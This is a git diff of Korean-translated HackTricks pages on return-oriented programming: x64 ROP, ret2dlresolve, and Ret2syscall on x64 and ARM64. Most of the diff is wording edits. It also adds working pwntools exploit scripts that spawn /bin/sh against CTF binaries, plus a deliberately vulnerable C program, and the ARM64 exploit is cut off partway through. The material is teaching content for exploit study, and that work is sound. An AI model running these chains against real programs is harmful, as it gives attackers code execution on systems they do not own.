- 유닉스류 시스템에서는 **System V AMD64 ABI** 호출 규약을 사용하며, **첫 번째로 전달되는 여섯 개의 정수 또는 포인터 인자는 레지스터 `RDI`, `RSI`, `RDX`, `RCX`, `R8`, 그리고 `R9`에 전달**됩니다. 추가 인자는 스택에 전달됩니다. 반환 값은 `RAX`에 배치됩니다.
|
||||
- **Windows x64** 호출 규약은 첫 네 개의 정수 또는 포인터 인자에 대해 `RCX`, `RDX`, `R8`, 그리고 `R9`를 사용하며, 추가 인자는 스택에 전달됩니다. 반환 값은 `RAX`에 배치됩니다.
|
||||
- **레지스터**: 64비트 레지스터에는 `RAX`, `RBX`, `RCX`, `RDX`, `RSI`, `RDI`, `RBP`, `RSP`, 그리고 `R8`부터 `R15`까지가 포함됩니다.
|
||||
|
||||
### **가젯 찾기**
|
||||
|
||||
우리의 목적을 위해, **RDI** 레지스터를 설정하고(**system()**에 **"/bin/sh"** 문자열을 전달하기 위함) **system()** 함수를 호출할 수 있는 가젯에 집중해보겠습니다. 다음 가젯들을 식별했다고 가정해봅시다:
|
||||
우리의 목적을 위해, **RDI** 레지스터를 설정하고(**system()** 함수에 **"/bin/sh"** 문자열을 전달하기 위함) **system()** 함수를 호출할 수 있는 가젯에 집중해봅시다. 다음 가젯들을 식별했다고 가정해봅시다:
|
||||
|
||||
- **pop rdi; ret**: 스택의 최상위 값을 **RDI**로 팝하고 반환합니다. **system()**에 대한 인수 설정에 필수적입니다.
|
||||
- **ret**: 간단한 반환으로, 일부 시나리오에서 스택 정렬에 유용합니다.
|
||||
- **pop rdi; ret**: 스택의 최상위 값을 **RDI**로 팝하고 반환합니다. **system()**에 대한 인자 설정에 필수적입니다.
|
||||
- **ret**: 간단한 반환으로, 특정 시나리오에서 스택 정렬에 유용합니다.
|
||||
|
||||
그리고 **system()** 함수의 주소를 알고 있다고 가정합니다.
|
||||
|
||||
### **ROP Chain**
|
||||
|
||||
아래는 **pwntools**를 사용하여 **x64**에서 **system('/bin/sh')**을 실행하기 위한 ROP 체인을 설정하고 실행하는 예시입니다:
|
||||
아래는 **pwntools**를 사용하여 **x64**에서 **system('/bin/sh')**를 실행하기 위한 ROP 체인을 설정하고 실행하는 예시입니다:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
|
@ -139,12 +139,12 @@ p.interactive()
|
|||
```
|
||||
### 스택 정렬
|
||||
|
||||
**x86-64 ABI**는 **call 명령어**가 실행될 때 **스택이 16바이트 정렬**되어 있음을 보장합니다. **LIBC**는 성능을 최적화하기 위해 **SSE 명령어**(예: **movaps**)를 사용하는데, 이는 정렬이 필요합니다. 스택이 제대로 정렬되지 않으면 (**RSP**가 16의 배수가 아닌 경우) **system**과 같은 함수 호출이 **ROP chain**에서 실패할 수 있습니다. 이를 해결하기 위해 ROP chain에서 **system**을 호출하기 전에 **ret gadget**을 추가하면 됩니다.
|
||||
**x86-64 ABI**는 **call 명령어**가 실행될 때 **스택이 16바이트 정렬**되어 있음을 보장합니다. **LIBC**는 성능을 최적화하기 위해 **SSE 명령어**(예: **movaps**)를 사용하는데, 이는 정렬이 필요합니다. 스택이 제대로 정렬되지 않으면(**RSP**가 16의 배수가 아닌 경우), **system**과 같은 함수 호출이 **ROP chain**에서 실패할 수 있습니다. 이를 해결하기 위해 ROP chain에서 **system**을 호출하기 전에 **ret gadget**을 추가하면 됩니다.
|
||||
|
||||
## x86 대 x64 주요 차이점
|
||||
|
||||
{% hint style="success" %}
|
||||
**x64는 처음 몇 개의 인수에 레지스터를 사용**하기 때문에 간단한 함수 호출에는 x86보다 적은 수의 가젯이 필요하지만, 올바른 가젯을 찾고 연결하는 것은 레지스터 수의 증가와 주소 공간의 확대로 인해 더 복잡할 수 있습니다. **x64** 아키텍처의 증가한 레지스터 수와 주소 공간은 주로 Return-Oriented Programming (ROP)의 맥락에서 exploit 개발에 대한 기회와 도전을 제공합니다.
|
||||
**x64는 처음 몇 개의 인수에 레지스터를 사용**하기 때문에 간단한 함수 호출에는 x86보다 적은 수의 가젯이 필요하지만, 올바른 가젯을 찾고 연결하는 것은 레지스터 수가 증가하고 주소 공간이 더 커지기 때문에 더 복잡할 수 있습니다. **x64** 아키텍처의 증가한 레지스터 수와 더 큰 주소 공간은 주로 Return-Oriented Programming (ROP)의 맥락에서 취약점 개발에 대한 기회와 도전을 제공합니다.
|
||||
{% endhint %}
|
||||
|
||||
## ARM64 예제의 ROP chain
|
||||
|
@ -159,15 +159,15 @@ p.interactive()
|
|||
|
||||
## ROP에 대한 보호
|
||||
|
||||
* [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **및** [**PIE**](../common-binary-protections-and-bypasses/pie/): 이러한 보호 기능은 가젯의 주소가 실행 사이에 변경되므로 ROP 사용이 어려워집니다.
|
||||
* [**스택 카나리**](../common-binary-protections-and-bypasses/stack-canaries/): BOF의 경우, ROP chain을 악용하기 위해 저장된 스택 카나리를 우회하여 반환 포인터를 덮어쓰는 것이 필요합니다.
|
||||
* [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **&** [**PIE**](../common-binary-protections-and-bypasses/pie/): 이러한 보호 기능은 가젯의 주소가 실행 사이에 변경되므로 ROP 사용이 어려워집니다.
|
||||
* [**스택 카나리**](../common-binary-protections-and-bypasses/stack-canaries/): BOF에서는 ROP chain을 악용하기 위해 저장된 스택 카나리를 우회하여 반환 포인터를 덮어쓰는 것이 필요합니다.
|
||||
* **가젯 부족**: 충분한 가젯이 없으면 ROP chain을 생성할 수 없습니다.
|
||||
|
||||
## ROP 기반 기술
|
||||
|
||||
ROP는 임의의 코드를 실행하기 위한 기술일 뿐임을 알아두세요. ROP를 기반으로 한 Ret2XXX 기술이 개발되었습니다:
|
||||
|
||||
* **Ret2lib**: 로드된 라이브러리에서 임의의 매개변수(일반적으로 `system('/bin/sh')`와 같은 것)로 임의의 함수를 호출하기 위해 ROP를 사용합니다.
|
||||
* **Ret2lib**: 로드된 라이브러리에서 임의의 매개변수(일반적으로 `system('/bin/sh')`와 같은 것)를 사용하여 임의의 함수를 호출하기 위해 ROP를 사용합니다.
|
||||
|
||||
{% content-ref url="ret2lib/" %}
|
||||
[ret2lib](ret2lib/)
|
||||
|
@ -175,11 +175,11 @@ ROP는 임의의 코드를 실행하기 위한 기술일 뿐임을 알아두세
|
|||
|
||||
* **Ret2Syscall**: 시스템 호출(e.g. `execve`)을 준비하고 임의의 명령을 실행하기 위해 ROP를 사용합니다.
|
||||
|
||||
{% content-ref url="rop-syscall-execv.md" %}
|
||||
[rop-syscall-execv.md](rop-syscall-execv.md)
|
||||
{% content-ref url="rop-syscall-execv/" %}
|
||||
[rop-syscall-execv](rop-syscall-execv/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
* **EBP2Ret 및 EBP Chaining**: 첫 번째는 EIP 대신 EBP를 악용하여 흐름을 제어하고, 두 번째는 Ret2lib과 유사하지만 이 경우 흐름은 주로 EBP 주소로 제어됩니다(물론 EIP를 제어해야 합니다).
|
||||
* **EBP2Ret 및 EBP Chaining**: 첫 번째는 EIP 대신 EBP를 악용하여 흐름을 제어하고, 두 번째는 Ret2lib과 유사하지만 여기서는 주로 EBP 주소를 통해 흐름을 제어합니다(물론 EIP를 제어해야 합니다).
|
||||
|
||||
{% content-ref url="../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md" %}
|
||||
[stack-pivoting-ebp2ret-ebp-chaining.md](../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md)
|
||||
|
@ -189,6 +189,6 @@ ROP는 임의의 코드를 실행하기 위한 기술일 뿐임을 알아두세
|
|||
|
||||
* [https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions](https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions)
|
||||
* [https://guyinatuxedo.github.io/15-partial\_overwrite/hacklu15\_stackstuff/index.html](https://guyinatuxedo.github.io/15-partial\_overwrite/hacklu15\_stackstuff/index.html)
|
||||
* 64비트, Pie 및 nx 활성화, 카나리 없음, `vsyscall` 주소로 RIP를 덮어쓰고 스택에서 다음 주소로 반환하여 플래그를 노출하는 함수의 일부를 얻기 위해 주소의 일부를 덮어쓰는 것
|
||||
* 64비트, Pie 및 nx 활성화, 카나리 없음, `vsyscall` 주소로 RIP 덮어쓰기, 스택에서 함수의 일부를 노출하는 주소의 일부를 얻기 위해 스택의 다음 주소로 반환하는 것이 목적
|
||||
* [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/)
|
||||
* arm64, ASLR 없음, ROP 가젯을 사용하여 스택을 실행 가능하게 만들고 스택 내의 셸코드로 이동
|
||||
* arm64, ASLR 없음, ROP 가젯을 사용하여 스택을 실행 가능하게 만들고 스택에서 셸코드로 이동
|
||||
|
|
|
@ -9,8 +9,8 @@ HackTricks를 지원하는 다른 방법:
|
|||
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **해킹 기술을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요**.
|
||||
* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -22,10 +22,10 @@ HackTricks를 지원하는 다른 방법:
|
|||
|
||||
따라서 **모든 이러한 구조를 가짜로 만들어** 요청된 심볼(예: **`system`** 함수)을 동적으로 연결하여 구성된 매개변수(예: **`system('/bin/sh')`**)로 호출할 수 있습니다.
|
||||
|
||||
보통, **쓰기 가능한 메모리에서 `read`를 호출하는 초기 ROP 체인을 만들어** 모든 이러한 구조 및 문자열 **`'/bin/sh'`**이 전달되어 알려진 위치에 읽혀 저장되도록 만들고, 그런 다음 ROP 체인이 계속되어 **`_dl_runtime_resolve`**를 호출하여 가짜 구조에서 **`system`**의 주소를 해결하고 이 주소를 **`'/bin/sh'`** 주소와 함께 호출합니다.
|
||||
보통, 이러한 모든 구조는 **쓰기 가능한 메모리에서 `read`를 호출하는 초기 ROP 체인을 만들어** 가짜 구조 및 문자열 **`'/bin/sh'`**이 전달되어 알려진 위치에 읽혀지도록 만들고, 그런 다음 ROP 체인이 계속되어 **`_dl_runtime_resolve`**를 호출하여 가짜 구조에서 **`system`**의 주소를 해결하고 이 주소를 **`'/bin/sh'`** 주소와 함께 호출합니다.
|
||||
|
||||
{% hint style="success" %}
|
||||
이 기술은 특히 시스템 호출 가젯이 없거나([**ret2syscall**](rop-syscall-execv.md) 또는 [SROP](srop-sigreturn-oriented-programming.md)와 같은 기술을 사용하는 방법이 없을 때) libc 주소를 노출시킬 방법이 없을 때 유용합니다.
|
||||
이 기술은 특히 시스템 호출 가젯(예: [**ret2syscall**](rop-syscall-execv/) 또는 [SROP](srop-sigreturn-oriented-programming.md)와 같은 기술을 사용할 수 없는 경우 및 libc 주소를 노출할 수 있는 방법이 없는 경우에 유용합니다.
|
||||
{% endhint %}
|
||||
|
||||
이 기술에 대한 더 나은 설명은 다음 비디오의 후반부에서 찾을 수 있습니다:
|
||||
|
@ -34,21 +34,21 @@ HackTricks를 지원하는 다른 방법:
|
|||
|
||||
## 구조
|
||||
|
||||
**`JMPREL`**, **`STRTAB`**, **`SYMTAB`** 3가지 구조를 가짜로 만들어야 합니다. 이러한 구조가 어떻게 구축되는지에 대한 더 나은 설명은 [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures)에서 확인할 수 있습니다.
|
||||
**`JMPREL`**, **`STRTAB`**, **`SYMTAB`** 3가지 구조를 가짜로 만들어야 합니다. 이러한 구조가 어떻게 구축되는지에 대한 더 나은 설명은 [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures)에서 찾을 수 있습니다.
|
||||
|
||||
## 공격 요약
|
||||
|
||||
1. 어딘가에 가짜 구조를 작성합니다.
|
||||
2. system의 첫 번째 인수를 설정합니다(`$rdi = &'/bin/sh'`).
|
||||
3. **`_dl_runtime_resolve`**를 호출하기 위해 스택에 구조체 주소를 설정합니다.
|
||||
2. 시스템의 첫 번째 인수를 설정합니다(`$rdi = &'/bin/sh'`).
|
||||
3. 스택에 구조체를 호출하기 위한 주소를 설정하여 **`_dl_runtime_resolve`**를 호출합니다.
|
||||
4. **`_dl_runtime_resolve`**를 호출합니다.
|
||||
5. **`system`**이 해결되고 `'/bin/sh'`가 인수로 호출됩니다.
|
||||
5. **`system`**이 해결되어 `'/bin/sh'`를 인수로 호출됩니다.
|
||||
|
||||
## 예시
|
||||
## 예
|
||||
|
||||
### 순수 Pwntools
|
||||
|
||||
[**이 기술의 예시를 여기에서 찾을 수 있습니다**](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve/exploitation) **최종 ROP 체인에 대한 매우 좋은 설명이 포함**되어 있지만, 여기서 사용된 최종 악용은 다음과 같습니다:
|
||||
[**이 기술의 예제를 여기에서 찾을 수 있습니다**](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve/exploitation) **최종 ROP 체인에 대한 매우 좋은 설명이 포함**되어 있지만, 여기서 사용된 최종 악용은 다음과 같습니다:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
|
@ -178,4 +178,4 @@ target.interactive()
|
|||
* [https://youtu.be/ADULSwnQs-s](https://youtu.be/ADULSwnQs-s?feature=shared)
|
||||
* [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve)
|
||||
* [https://guyinatuxedo.github.io/18-ret2\_csu\_dl/0ctf18\_babystack/index.html](https://guyinatuxedo.github.io/18-ret2\_csu\_dl/0ctf18\_babystack/index.html)
|
||||
* 32비트, relro 없음, 캐너리 없음, nx, pie 없음, 기본적인 작은 버퍼 오버플로우 및 리턴. 이를 악용하기 위해 bof를 사용하여 `.bss` 섹션과 더 큰 크기로 다시 `read`를 호출하여 `dlresolve` 가짜 테이블을 로드하고 `system`을 로드하고 메인으로 반환한 다음 초기 bof를 다시 악용하여 dlresolve를 호출하고 `system('/bin/sh')`를 실행합니다.
|
||||
* 32비트, relro 없음, 캐너리 없음, nx, pie 없음, 기본적인 작은 버퍼 오버플로우 및 리턴. 이를 악용하기 위해 bof를 사용하여 `.bss` 섹션과 더 큰 크기로 다시 `read`를 호출하여 `dlresolve` 가짜 테이블을 로드하고 `system`을 실행하고 메인으로 돌아가 초기 bof를 다시 악용하여 dlresolve를 호출하고 `system('/bin/sh')`를 실행합니다.
|
||||
|
|
|
@ -0,0 +1,192 @@
|
|||
# Ret2syscall
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)</strong>에서 **제로부터 영웅까지 AWS 해킹 배우기**</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고되길 원하거나 PDF로 HackTricks 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
* **해킹 요령을 공유하려면 PR을** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 제출하세요.
|
||||
|
||||
</details>
|
||||
|
||||
## 기본 정보
|
||||
|
||||
이것은 Ret2lib와 유사하지만, 이 경우에는 라이브러리에서 함수를 호출하지 않을 것입니다. 이 경우에는 `sys_execve` 시스템 호출을 호출하기 위해 일부 인수로 `/bin/sh`를 실행하기 위해 모든 것이 준비될 것입니다. 이 기술은 일반적으로 정적으로 컴파일된 이진 파일에서 수행되며, 많은 가젯과 시스템 호출 명령이 있을 수 있습니다.
|
||||
|
||||
**시스템 호출**을 준비하기 위해 다음 구성이 필요합니다:
|
||||
|
||||
* `rax: 59 sys_execve 지정`
|
||||
* `rdi: "/bin/sh"를 가리키는 포인터 실행할 파일 지정`
|
||||
* `rsi: 0 전달된 인수 없음 지정`
|
||||
* `rdx: 0 전달된 환경 변수 없음 지정`
|
||||
|
||||
따라서 기본적으로 문자열 `/bin/sh`를 어딘가에 쓰고, 그 다음 `syscall`을 수행해야 합니다(스택을 제어하기 위해 필요한 패딩을 고려하면서). 이를 위해 알려진 영역에 `/bin/sh`를 쓸 가젯이 필요합니다.
|
||||
|
||||
{% hint style="success" %}
|
||||
호출할 다른 흥미로운 시스템 호출은 **`mprotect`**이며, 이를 통해 공격자가 **메모리의 페이지 권한을 수정**할 수 있습니다. 이는 [**ret2shellcode**](../../stack-overflow/stack-shellcode/)와 결합할 수 있습니다.
|
||||
{% endhint %}
|
||||
|
||||
## 레지스터 가젯
|
||||
|
||||
**이 레지스터를 제어하는 방법**을 찾아봅시다:
|
||||
```bash
|
||||
ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret"
|
||||
0x0000000000415664 : pop rax ; ret
|
||||
0x0000000000400686 : pop rdi ; ret
|
||||
0x00000000004101f3 : pop rsi ; ret
|
||||
0x00000000004498b5 : pop rdx ; ret
|
||||
```
|
||||
이 주소들을 사용하면 **스택에 내용을 작성하고 레지스터에로드**할 수 있습니다.
|
||||
|
||||
## 문자열 작성
|
||||
|
||||
### 쓰기 가능한 메모리
|
||||
|
||||
먼저 메모리에서 쓰기 가능한 위치를 찾아야합니다.
|
||||
```bash
|
||||
gef> vmmap
|
||||
[ Legend: Code | Heap | Stack ]
|
||||
Start End Offset Perm Path
|
||||
0x0000000000400000 0x00000000004b6000 0x0000000000000000 r-x /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
|
||||
0x00000000006b6000 0x00000000006bc000 0x00000000000b6000 rw- /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
|
||||
0x00000000006bc000 0x00000000006e0000 0x0000000000000000 rw- [heap]
|
||||
```
|
||||
### 메모리에 문자열 작성
|
||||
|
||||
그런 다음이 주소에 임의의 내용을 작성하는 방법을 찾아야합니다.
|
||||
```python
|
||||
ROPgadget --binary speedrun-001 | grep " : mov qword ptr \["
|
||||
mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx
|
||||
```
|
||||
### ROP 체인 자동화
|
||||
|
||||
다음 명령어는 쓰기-무엇을-어디에 가젯과 시스콜 명령어가 있는 정적 이진 파일에서 완전한 `sys_execve` ROP 체인을 생성합니다:
|
||||
```bash
|
||||
ROPgadget --binary vuln --ropchain
|
||||
```
|
||||
#### 32 비트
|
||||
```python
|
||||
'''
|
||||
Lets write "/bin/sh" to 0x6b6000
|
||||
|
||||
pop rdx, 0x2f62696e2f736800
|
||||
pop rax, 0x6b6000
|
||||
mov qword ptr [rax], rdx
|
||||
'''
|
||||
|
||||
rop += popRdx # place value into EAX
|
||||
rop += "/bin" # 4 bytes at a time
|
||||
rop += popRax # place value into edx
|
||||
rop += p32(0x6b6000) # Writable memory
|
||||
rop += writeGadget #Address to: mov qword ptr [rax], rdx
|
||||
|
||||
rop += popRdx
|
||||
rop += "//sh"
|
||||
rop += popRax
|
||||
rop += p32(0x6b6000 + 4)
|
||||
rop += writeGadget
|
||||
```
|
||||
#### 64 비트
|
||||
```python
|
||||
'''
|
||||
Lets write "/bin/sh" to 0x6b6000
|
||||
|
||||
pop rdx, 0x2f62696e2f736800
|
||||
pop rax, 0x6b6000
|
||||
mov qword ptr [rax], rdx
|
||||
'''
|
||||
rop = ''
|
||||
rop += popRdx
|
||||
rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end
|
||||
rop += popRax
|
||||
rop += p64(0x6b6000) # Writable memory
|
||||
rop += writeGadget #Address to: mov qword ptr [rax], rdx
|
||||
```
|
||||
## 부족한 가젯
|
||||
|
||||
만약 메모리에 `/bin/sh`를 작성할 가젯이 **부족한 경우**, **SROP 기술을 사용하여 스택에서 모든 레지스터 값(포함하여 RIP 및 매개변수 레지스터)을 제어**할 수 있습니다:
|
||||
|
||||
{% content-ref url="../srop-sigreturn-oriented-programming.md" %}
|
||||
[srop-sigreturn-oriented-programming.md](../srop-sigreturn-oriented-programming.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## 공격 예제
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
target = process('./speedrun-001')
|
||||
#gdb.attach(target, gdbscript = 'b *0x400bad')
|
||||
|
||||
# Establish our ROP Gadgets
|
||||
popRax = p64(0x415664)
|
||||
popRdi = p64(0x400686)
|
||||
popRsi = p64(0x4101f3)
|
||||
popRdx = p64(0x4498b5)
|
||||
|
||||
# 0x000000000048d251 : mov qword ptr [rax], rdx ; ret
|
||||
writeGadget = p64(0x48d251)
|
||||
|
||||
# Our syscall gadget
|
||||
syscall = p64(0x40129c)
|
||||
|
||||
'''
|
||||
Here is the assembly equivalent for these blocks
|
||||
write "/bin/sh" to 0x6b6000
|
||||
|
||||
pop rdx, 0x2f62696e2f736800
|
||||
pop rax, 0x6b6000
|
||||
mov qword ptr [rax], rdx
|
||||
'''
|
||||
rop = ''
|
||||
rop += popRdx
|
||||
rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end
|
||||
rop += popRax
|
||||
rop += p64(0x6b6000)
|
||||
rop += writeGadget
|
||||
|
||||
'''
|
||||
Prep the four registers with their arguments, and make the syscall
|
||||
|
||||
pop rax, 0x3b
|
||||
pop rdi, 0x6b6000
|
||||
pop rsi, 0x0
|
||||
pop rdx, 0x0
|
||||
|
||||
syscall
|
||||
'''
|
||||
|
||||
rop += popRax
|
||||
rop += p64(0x3b)
|
||||
|
||||
rop += popRdi
|
||||
rop += p64(0x6b6000)
|
||||
|
||||
rop += popRsi
|
||||
rop += p64(0)
|
||||
rop += popRdx
|
||||
rop += p64(0)
|
||||
|
||||
rop += syscall
|
||||
|
||||
|
||||
# Add the padding to the saved return address
|
||||
payload = "0"*0x408 + rop
|
||||
|
||||
# Send the payload, drop to an interactive shell to use our new shell
|
||||
target.sendline(payload)
|
||||
|
||||
target.interactive()
|
||||
```
|
||||
## 기타 예제 및 참고 자료
|
||||
|
||||
* [https://guyinatuxedo.github.io/07-bof\_static/dcquals19\_speedrun1/index.html](https://guyinatuxedo.github.io/07-bof\_static/dcquals19\_speedrun1/index.html)
|
||||
* 64비트, PIE 없음, nx, 메모리에 `execve`를 호출하고 거기로 이동하는 ROP 작성.
|
||||
* [https://guyinatuxedo.github.io/07-bof\_static/bkp16\_simplecalc/index.html](https://guyinatuxedo.github.io/07-bof\_static/bkp16\_simplecalc/index.html)
|
||||
* 64비트, nx, PIE 없음, 메모리에 `execve`를 호출하고 거기로 이동하는 ROP 작성. 수학 연산을 수행하는 함수를 스택에 쓰기 위해 남용됨.
|
||||
* [https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html](https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html)
|
||||
* 64비트, PIE 없음, nx, BF canary, 메모리에 `execve`를 호출하고 거기로 이동하는 ROP 작성.
|
|
@ -0,0 +1,139 @@
|
|||
# Ret2syscall - ARM64
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 처음부터 전문가까지 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고되길 원하거나** **PDF로 HackTricks를 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
||||
[arm64 기본 어셈블리](../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md)에서 arm64에 대한 소개를 찾을 수 있습니다.
|
||||
|
||||
## 코드
|
||||
|
||||
다음 페이지의 예제를 사용할 것입니다:
|
||||
|
||||
[ret2win-arm64.md](../../stack-overflow/ret2win/ret2win-arm64.md)
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
|
||||
void win() {
|
||||
printf("Congratulations!\n");
|
||||
}
|
||||
|
||||
void vulnerable_function() {
|
||||
char buffer[64];
|
||||
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
|
||||
}
|
||||
|
||||
int main() {
|
||||
vulnerable_function();
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
파이(Pie)와 캐너리(Canary) 없이 컴파일하기:
|
||||
```bash
|
||||
clang -o ret2win ret2win.c -fno-stack-protector
|
||||
```
|
||||
## 가젯
|
||||
|
||||
**syscall**을 호출하기 위해 다음 구성이 필요합니다:
|
||||
|
||||
- `x8: 221 sys_execve 지정`
|
||||
- `x0: "/bin/sh"을 가리키는 포인터 실행할 파일 지정`
|
||||
- `x1: 0 전달된 인수 없음 지정`
|
||||
- `x2: 0 전달된 환경 변수 없음 지정`
|
||||
|
||||
ROPgadget.py를 사용하여 다음 가젯을 찾을 수 있었습니다:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```armasm
|
||||
;Load x0, x1 and x3 from stack and x5 and call x5
|
||||
0x0000000000114c30:
|
||||
ldp x3, x0, [sp, #8] ;
|
||||
ldp x1, x4, [sp, #0x18] ;
|
||||
ldr x5, [sp, #0x58] ;
|
||||
ldr x2, [sp, #0xe0] ;
|
||||
blr x5
|
||||
|
||||
;Move execve syscall (0xdd) to x8 and call it
|
||||
0x00000000000bb97c :
|
||||
nop ;
|
||||
nop ;
|
||||
mov x8, #0xdd ;
|
||||
svc #0
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
이전 가젯을 사용하여 스택에서 필요한 모든 레지스터를 제어하고 x5를 사용하여 시스템 호출을 수행하는 두 번째 가젯으로 이동할 수 있습니다.
|
||||
|
||||
### Exploit
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
p = process('./ret2syscall')
|
||||
elf = context.binary = ELF('./ret2syscall')
|
||||
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
|
||||
libc.address = 0x0000fffff7df0000 # ASLR disabled
|
||||
binsh = next(libc.search(b"/bin/sh"))
|
||||
|
||||
stack_offset = 72
|
||||
|
||||
#0x0000000000114c2c : bl #0x133070 ; ldp x3, x0, [sp, #8] ; ldp x1, x4, [sp, #0x18] ; ldr x5, [sp, #0x58] ; ldr x2, [sp, #0xe0] ; blr x5
|
||||
load_x0_x1_x2 = libc.address + 0x114c30 # ldp x3, x0, [sp, #8] ; ldp x1, x4, [sp, #0x18] ; ldr x5, [sp, #0x58] ; ldr x2, [sp, #0xe0] ; blr x5
|
||||
|
||||
# 0x00000000000bb97c : nop ; nop ; mov x8, #0xdd ; svc #0
|
||||
call_execve = libc.address + 0xbb97c
|
||||
|
||||
print("/bin/sh in: " + hex(binsh))
|
||||
print("load_x0_x1_x2 in: " + hex(load_x0_x1_x2))
|
||||
print("call_execve in: " + hex(call_execve))
|
||||
|
||||
# stack offset
|
||||
bof = b"A" * (stack_offset)
|
||||
bof += p64(load_x0_x1_x2)
|
||||
|
||||
# ldp x3, x0, [sp, #8]
|
||||
rop = b"BBBBBBBBBBBBBBBB" #x3
|
||||
rop += p64(binsh) #x0
|
||||
|
||||
# ldp x1, x4, [sp, #0x18]
|
||||
